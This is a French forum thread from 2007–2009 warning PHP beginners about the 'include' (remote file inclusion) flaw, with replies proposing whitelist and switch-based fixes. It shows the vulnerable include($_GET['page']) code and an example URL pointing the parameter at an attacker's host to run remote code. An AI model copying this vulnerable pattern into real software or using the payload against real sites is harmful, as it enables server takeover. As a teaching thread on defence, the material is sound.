La Faille Include

D@rk Hell · 17 posts **Inscription :** 28 Janvier 07

C'est dernier temp j'ai vu des site en php (de saga mp3 ou pas) qui uttilisait la fonction "include" tant connu...

Mais pour bon nombre de webmaster, cette fonction est aussi associer a la faille "include".
C'est pour sa que j'ai créer ce topic, pour prévenir les débutant en php de ne pas tomber dans le piege qui pourait ravir les Hackers.

Exemple de faille include dans une page PHP:

Code:

$page = $_GET['page'];
include($page.".php");

Dans ce cas, le nom du fichier est récupérer puis le fichiet php est inclus et le script est exécuter par le serveur....

L'URL du site serait alors quelque chose comme:

http://lesite.com/index.php?page=testLe fichier test.php est donc inclus...

Mais imaginez qu'un internaute malveillant arrive sur votre site, et découvre que votre site comporte cette faille.... Il n'aurait plus qu'a ecrire ceci

http://lesite.com/index.php?page=http://sonsite.com/hackingDans ce cas le script sur sont serveur est exécuter sur le votre....Il peut donc exécuter ce qu'il veut sur votre serveur.

voici un exemple de sécuriter que vous pouvez utiiser pour eviter cela:

Code:

$page = $_GET['page'];// On récupére le nom de la page

$securiter = array("test","test2"); //on fait un tableau des pages autoriser

for($i=0; ;$i++){  //On créer une boucle de vérification
if( $page == $securiter[$i])break;
if(empty($securiter[$i])) exit("Hacking stoppé"); }

include($page.".php"); //on inclus la page

Avec ça, on est certain que aucune autres pages viendrons perturber le bon fonctionnement de votre site internet

Canard Bigleux · 66 posts **Inscription :** 17 Janvier 07

Merci de veiller à la sécurité de nos site webs ^^

D@rk Hell · 17 posts **Inscription :** 28 Janvier 07

de rien...

Nishiki · 35 ans · 344 posts **Inscription :** 15 Janvier 07

Donc si j'ai bien compris tu entre tout les pages autorisé dans la bdd, et après tu vérifie la page demandé

Cekos · 10 posts **Inscription :** 2 Avril 07

Je suis pas d'accord avec toi, a mon avis un bon vieux switch est plus efficace dans ce genre

Code:

$page = $_GET['page']

switch $page
 case "index":
  include('index.php');
  break;

 case "forum":
   include('forum.php');
   break;

Ect ...

Citer:

Donc si j'ai bien compris tu entre tout les pages autorisé dans la bdd, et après tu vérifie la page demandé

Non pas dans la bdd, mais dans un array

Nishiki · 35 ans · 344 posts **Inscription :** 15 Janvier 07

Et ben moi je met tout dans la BDD ^^

mike

Si leur script s'appelle forum.php vous êtes mort quoi ^^
Moi j'utilise la méthode barbare du site du zero

Nishiki · 35 ans · 344 posts **Inscription :** 15 Janvier 07

Mort non car comment veux-tu qu'il est mit dans ton ftp le meme fichier que toi ?

Si il doivent appeler un fichier extérieur au site c'est sous la forme http://lalal.com/forum.php
Donc aucun risque

karottes · 61 ans · 41 posts **Inscription :** 26 Juillet 08

J'hésite entre dire que ça reviens à être atteint de paranoïa aiguë et dire que c'est primordial ...
Sachant que la plupart des gens qui vont sur les sites de sagas mp3 sont :
- soit des buses en informatique
- soit des lammouzes
- soit des programmeurs "propres"
- soit des bonnes gens tout à fait sympathiques

je ne voit pas trop l'intérêt de cette sécurité (malgré tout, plus un site est sécurisé, mieux c'est ...)

Sinon, je te/vous remercie pour cette bienveillance

refiloux · **Publié :** Lun 02 Mars 2009, 19:24

Hmm La faille incluse :smt007

C'est vrais que c'est pas térrible quand on ne veut pas se faire hacké .
Après ceux qui veulent ce faire hacké ( Mazo ) Vous pouvez éssayé ceci, Faut mettre surtout vos compte banquaire pour plus de sensation !

Allez bonne journée !

XD LOL PTDR MDR ... :smt012

[Edit Blast : ça faisait longtemps qu'on avait pas eu un petit boulet.]

Kak Miortvi Pengvin · 4793 posts **Inscription :** 21 Janvier 07

Tu m'expliques l'intérêt de ce message? Ce que viennent faire là ces espèces de pseudos-smileys sms? Si c'est de l'humour, ce n'est ni fin ni drôle. Zéro intérêt, zéro contenu, orthographe minimale et sms... La prochaine fois, abstiens toi.

Edition: Raaah... Grillé par Blast pour le bonnet. Tant pis, je lui ai fauché le message de modération.

Verdey · **Publié :** Lun 02 Mars 2009, 19:35

Alors rien que pour rigoler , j'ai essayé , et oui , c'est dangereux. Disons que j'ai réussi a supprimer la page via un script un peu trop bricolé.
Cependant , je rejoins l'avis de Cekos , un bon vieux switch est efficace.

Pour plus de renseignements : HackBBS = Exploit des Failles en PHP sur un site Web
(Je ne suis aucunement responsable de ce que vous trouverez sur ce site)

Alinor · **Publié :** Lun 02 Mars 2009, 20:25

Bravo Dark, c'est simple et très compréhensible

(pense tout de même à la relecture...)

Kak Miortvi Pengvin · 4793 posts **Inscription :** 21 Janvier 07

Alinor, tu parles à un membre qui a posté il y a deux ans...

refiloux · **Publié :** Lun 02 Mars 2009, 21:00

Ah d'accord c'est pour ça le bonnet ! Message d'humour ...

Netophonix - Le forum

La Faille Include

Qui est en ligne ?